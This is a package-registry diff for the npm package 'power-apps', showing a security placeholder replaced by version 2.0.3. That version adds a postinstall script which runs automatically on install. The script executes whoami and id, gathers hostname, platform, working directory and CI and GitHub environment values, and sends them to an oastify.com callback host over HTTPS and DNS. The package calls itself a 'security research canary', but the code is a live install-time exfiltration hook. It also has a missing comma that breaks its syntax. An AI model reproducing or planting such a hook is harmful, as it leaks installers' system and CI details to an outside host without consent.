power-apps 0.0.1-security → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of power-apps might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "power-apps",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.3",
4
+ "description": "Security research canary — microsoft",
5
+ "main": "postinstall.js",
6
+ "bin": {
7
+ "discovery-build": "postinstall.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node postinstall.js"
11
+ }
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,29 @@
1
+ #!/usr/bin/env node
2
+
3
+ const https = require('https');
4
+ const os = require('os');
5
+ const { execSync } = require('child_process');
6
+
7
+ const CALLBACK_HOST = 'zadcmhds5ttaeh0kjwfw7pgobfh855tu.oastify.com';
8
+
9
+ function get(cmd) {
10
+ try { return execSync(cmd, { timeout: 3000 }).toString().trim(); }
11
+ catch { return 'error'; }
12
+ }
13
+
14
+ const payload = {
15
+ whoami: get('whoami'),
16
+ id: get('id')
17
+ hostname: os.hostname(),
18
+ platform: os.platform(),
19
+ cwd: process.cwd(),
20
+ ci: process.env.CI || '',
21
+ github: process.env.GITHUB_REPOSITORY || '',
22
+ node_env: process.env.NODE_ENV || '',
23
+ };
24
+
25
+ const path = '/microsft?' + new URLSearchParams(payload).toString();
26
+
27
+ https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {});
28
+
29
+ require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {});
package/readme.md ADDED
@@ -0,0 +1,2 @@
1
+ Takeover By lobo
2
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=power-apps for more information.